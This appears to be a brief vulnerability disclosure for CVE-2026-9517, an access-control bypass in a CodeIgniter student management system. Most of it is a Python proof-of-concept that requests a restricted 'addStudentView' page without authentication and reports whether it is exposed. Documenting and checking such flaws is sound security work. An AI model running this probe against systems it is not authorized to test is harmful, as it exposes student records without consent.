CVE-2026-9517: CodeIgniter学生管理系统访问控制漏洞

import requests # Target URL configuration target_url = "http://target-host/index.php/students/addStudentView" # Exploit attempt: Accessing restricted view without authentication # Since PR:N (No Privileges Required), we send a request without cookies. try: response = requests.get(target_url, timeout=10) # Check if the response indicates successful access (e.g., HTTP 200 and specific content) if response.status_code == 200 and "Student" in response.text: print("[+] Vulnerability Confirmed: Access control bypass successful.") print("[+] Response Content Snippet:") print(response.text[:200]) else: print("[-] Target may not be vulnerable or access is blocked.") print("Status Code:", response.status_code) except Exception as e: print(f"Error occurred: {e}")